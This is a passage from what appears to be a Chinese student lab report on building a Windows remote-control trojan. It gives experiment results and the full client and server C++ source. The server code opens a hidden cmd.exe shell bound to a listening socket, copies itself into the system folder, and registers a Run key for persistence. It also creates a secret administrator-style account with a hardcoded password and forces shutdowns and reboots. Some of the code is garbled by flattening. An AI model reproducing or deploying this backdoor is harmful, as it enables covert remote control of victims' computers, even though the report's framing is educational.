1、5实验结果及结论客户端运行后如下图所示:1、输入“add”命令后,创建用户成功服务器端提示命令成功用命令行查看用户情况用户“yaoxiangwen”已经成功创建2、输入”shutdown”后,电脑自动关闭成功3、输入”reset”后,电脑自动重启4、输入”close”后,光驱关闭5、输入”open”后,光驱自动打开6、输入”shell”后,查看任务管理器如下图Cmd命令行已经被创建7、输入quit后,服务器端成功退出8、重启系统后,服务器端成功自动启动,说明软件开机具有自启动功能。6附录:程序清单及说明程序清单:Client.cpp / 客户端代码Server.cpp / 服务器端代码程序代码
2、及说明:/Client.cpp文件#include /包含标准输入输出库winsock.h /包含windows套接字函数iostreamusing namespace std;#pragma comment(lib,Ws2_32) /将注释wsock32放置到lib文件中,否则需要加载 #define MAXSIZE 2048 /每次可以接收的最大字节 #define SEND_PORT 2000 /与木马程序连接的端口为2000struct sockaddr_in ClientAddr; /对方的地址端口信息SOCKET sock; /定义套接字变量,为全局变量DWORD startSoc
3、k() /建立套接字功能模块 WSADATA WSAData; /将WSAData的数据类型声明为WSADATA if(WSAStartup(MAKEWORD(2,2),&WSAData)!=0) /MAKEWORD(2,2)预定义Winsock版本,初始化套接字 printf(sock init fail); return(-1); sock = socket(AF_INET, SOCK_STREAM, 0); /连接对方 return 1;int main(int argc, char *argv) u_int numbyte; char bufMAXSIZE; /传送数据的缓冲区 cha
4、r ip100; coutip; startSock();/调用建立套接字功能函数 ClientAddr.sin_family = AF_INET; /协议类型是INET ClientAddr.sin_port = htons(SEND_PORT); /连接对方2000端口 ClientAddr.sin_addr.s_addr = inet_addr(ip); /连接对方的IP地址 connect(sock, (struct sockaddr *)&ClientAddr,sizeof(struct sockaddr); printf(-远程控制木马程序菜单-rnadd -建立Windows系统
5、的秘密帐号rnshutdown -关闭Windows计算机rnreset -重新启动Windows计算机rnclose -关闭光驱rnopen -打开光驱rnshell -建立cmd进程rnquit -退出系统rnBIT-gaoping-rn while(1) buf0 = 0; scanf(%s,buf);/输入控制指令 int iLen = strlen(buf); bufiLen = 0xa; bufiLen+1 = /要求控制指令串最后为回车符,以示结束 numbyte=send(sock, buf, strlen(buf), 0);/发出控制指令 if(numbyte=SOCKET_
6、ERROR) closesocket(sock); break; numbyte=recv(sock, buf, MAXSIZE, 0);/接收服务端发来的提示符 bufnumbyte = /显示服务端发来的提示符 if(strcmp(buf, quit) = 0 ) return 0; return 0;/Server.cpp文件winsock2.h /包含标准输入输出函数mmsystem.h /光驱控制函数mciSendString()所需的头文件 /包含C+系统输入输出函数string /包含字符串处理函数winuser.h /WinExec()函数所需的头文件)/将注释wsock32放
7、置到lib文件中,否则需要加载Winmm.lib)/光驱控制函数mciSendString()所需的库#define RECV_PORT 2000 /木马服务端对外响应的端口#define PATH 200 /程序自启动的最大路径SOCKET sock1,sock2;/sock1为服务端程序自身建立的套接字/sock2为服务端与客户端建立响应后的套接字int g1;char Buff1024,cmd1024;/缓冲区 sock1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); /建立套接字,为TCP/IP、流式格式 str
8、uct sockaddr_in serverAddr; /保存套接字地址的结构体 serverAddr.sin_family = AF_INET; /规定使用IPv4协议 serverAddr.sin_port = htons(RECV_PORT); /响应端口 serverAddr.sin_addr.s_addr=ADDR_ANY; /建立IP地址,ADDR_ANY可使用任意IP地址连接 g1=bind(sock1,(sockaddr *)&serverAddr,sizeof(serverAddr); /绑定端口与套接字 g1=listen(sock1,5);/等待监听,最大可接受5个连接请
9、求 int serverAddrSize = sizeof(serverAddr); sock2=accept(sock1,(sockaddr *)&serverAddr,&serverAddrSize); /如果客户请求2000端口,接受连接,并返回sock2套接字int cmdshell(SOCKET sock) /建立cmd进程功能模块 STARTUPINFO startinfo; /控制进程的主窗口的显示方式 ZeroMemory(&startinfo,sizeof(startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_
10、USESTDHANDLES; / 决定本结构的每一个成员是否起作用 startinfo.wShowWindow = SW_HIDE;/窗口显示模式,隐藏格式 startinfo.hStdInput = startinfo.hStdOutput = startinfo.hStdError = (void *)sock; /标准输入输出管道 char cmdsystem = cmd/cmd进程 PROCESS_INFORMATION ProcessInformation;/ 指向进程信息结构的指针 int g2; /下面为建立进程过程 g2=CreateProcess(NULL,cmdsystem
11、,NULL,NULL,1,0,NULL,NULL,&startinfo,&ProcessInformation); /建立一个cmd.exe进程与相应的输入输出管道 WaitForSingleObject(ProcessInformation.hProcess, INFINITE);/等待子进程退出 TerminateProcess(ProcessInformation.hProcess, 0); /在一个子进程中强制结束其他的进程 CloseHandle(ProcessInformation.hProcess);/关闭子进程句柄DWORD startExeFile() /自启动程序功能模块
12、char ExeFilePATH; /木马程序缓冲区 char TempPathPATH;/系统目录缓冲区 int g3; GetModuleFileName(NULL,ExeFile,PATH);/得到当前文件名 GetSystemDirectory(TempPath ,PATH); /得到系统目录 strcat(TempPath,server.exe/拷贝到系统文件夹名为server.exe g3 = CopyFile(ExeFile, TempPath, FALSE); HKEY key;/关键字句柄 if( RegOpenKeyEx( HKEY_LOCAL_MACHINE, Softw
13、areMicrosoftWindowsCurrentVersionRun, 0, KEY_ALL_ACCESS, &key ) = ERROR_SUCCESS) /创建和打开一个关键字 RegSetValueEx(key,server,0,REG_SZ,(BYTE *)TempPath,lstrlen(TempPath); / 在RUN键下建立一个server键,为该木马的路径 RegCloseKey(key); /关闭并保存DWORD Open_CDROM()/打开光驱程序功能模块 mciSendString(set cdaudio door open, NULL, 0, NULL); /多
14、媒体控制函数DWORD Close_CDROM()/关闭光驱程序功能模块 mciSendString(Set cdaudio door closed wait, NULL, 1, NULL);/多媒体控制函数return 1;DWORD shutdownwin2k()/关闭Win2K程序功能模块 HANDLE hToken; TOKEN_PRIVILEGES tkp; / Windows2K中需要设置调用进程的权限,当获取该权限后才能关闭计算机的操作 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUE
15、RY, &hToken); LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges0.Luid); tkp.PrivilegeCount = 1; / 设置一个权限 tkp.Privileges0.Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ExitWindowsEx(EWX_SHUTDOWN |EWX_FORCE, 0);DWORD shutdownwin98
16、()/关闭Win98程序功能模块 ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE,0);DWORD resetwin98()/重新启动Win98程序功能模块 ExitWindowsEx(EWX_REBOOT |EWX_FORCE,0);DWORD resetwin2k()/重新启动Win2K程序功能模块 / Windows2K系列,需要设置调用进程的权限,获得权限才能进行重新启动计算机的操作 ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);DWORD adduser()/建立秘密帐号程序功能模块 WinExec(net user
17、yaoxiangwen 0123456789 /add,SW_HIDE); /建立秘密帐号:yaoxiangwen为用户帐号,0123456789为密码/下面为主函数,通过调用各个功能模块来实现木马功能int main() startExeFile();/ startSock() ; unsigned long ByteRead = 0; send(sock2,远程控制系统,请输入你的选择!nrcmd,sizeof(欢迎进入木马远程控制系统,请输入你的选择!),0); ZeroMemory(cmd,1024); /初始化cmd缓冲区,用来装客户端发来的指令 ByteRead = 0; /接收客
18、户端发来的指令字节数 while(ByteRead else if(strcmp(cmd,close Close_CDROM(); /调用关闭光驱模块程序shell)=0) cmdshell(sock2); /调用CMD进程模块程序Create the cmd Shell OKnrcmdshutdown98 shutdownwin98();/调用关闭Win98系统计算机模块程序shutdown the windows98 OKnrcmdshutdown shutdownwin2k();/调用关闭Win2K系统计算机模块程序shutdown the windows2k OKnrcmdreset9
19、8 resetwin98(); /调用启动Win98系统计算机模块程序reset the windows98 OKnrcmdreset resetwin2k(); /调用启动Win2K系统计算机模块程序reset the windows2k OKnrcmdadd adduser(); /调用建立秘密帐号模块程序net user yaoxiangwen 0123456789 /add OKnrcmdnet user xxdk gao/add OKnrcmd /退出木马,并关闭套接字 closesocket(sock2); exit(0); else Bad command,Please input the word try againnrcmd /显示输入有误,重新输入 Sleep(10); /延时